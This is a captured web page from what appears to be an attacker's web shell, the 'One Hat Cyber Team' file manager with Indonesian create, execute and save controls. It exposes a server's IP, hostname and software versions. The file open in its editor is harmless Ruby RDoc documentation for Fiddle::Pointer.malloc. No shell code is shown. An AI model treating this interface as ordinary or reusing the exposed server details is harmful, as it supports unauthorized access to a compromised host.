⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.25
Server IP:
109.199.105.153
Server:
Linux connect.inboxifs.com 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Fiddle
/
Pointer
/
Edit File: malloc-c.ri
U:RDoc::AnyMethod[iI"malloc:ETI"Fiddle::Pointer::malloc;TT:publico:RDoc::Markup::Document:@parts[ S:RDoc::Markup::Heading: leveli: textI" Examples;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"P# Automatically freeing the pointer when the block is exited - recommended ;TI"BFiddle::Pointer.malloc(size, Fiddle::RUBY_FREE) do |pointer| ;TI" ... ;TI" end ;TI" ;TI"G# Manually freeing but relying on the garbage collector otherwise ;TI"?pointer = Fiddle::Pointer.malloc(size, Fiddle::RUBY_FREE) ;TI" ... ;TI"pointer.call_free ;TI" ;TI"n# Relying on the garbage collector - may lead to unlimited memory allocated before freeing any, but safe ;TI"?pointer = Fiddle::Pointer.malloc(size, Fiddle::RUBY_FREE) ;TI" ... ;TI" ;TI"# Only manually freeing ;TI",pointer = Fiddle::Pointer.malloc(size) ;TI"begin ;TI" ... ;TI"ensure ;TI" Fiddle.free pointer ;TI" end ;TI" ;TI"n# No free function and no call to free - the native memory will leak if the pointer is garbage collected ;TI",pointer = Fiddle::Pointer.malloc(size) ;TI" ... ;T:@format0o:RDoc::Markup::Paragraph; [I"GAllocate +size+ bytes of memory and associate it with an optional ;TI"+freefunc+.;T@ o;; [I"QIf a block is supplied, the pointer will be yielded to the block instead of ;TI"Kbeing returned, and the return value of the block will be returned. A ;TI"/+freefunc+ must be supplied if a block is.;T@ o;; [ I"MIf a +freefunc+ is supplied it will be called once, when the pointer is ;TI"Kgarbage collected or when the block is left if a block is supplied or ;TI"Rwhen the user calls +call_free+, whichever happens first. +freefunc+ must be ;TI"Lan address pointing to a function or an instance of +Fiddle::Function+.;T: @fileI"ext/fiddle/pointer.c;T:0@omit_headings_from_table_of_contents_below0I"�Fiddle::Pointer.malloc(size, freefunc = nil) => fiddle pointer instance Fiddle::Pointer.malloc(size, freefunc) { |pointer| ... } => ... ;T0[ I"(p1, p2 = v2);T@8FI"Pointer;TcRDoc::NormalClass00
Simpan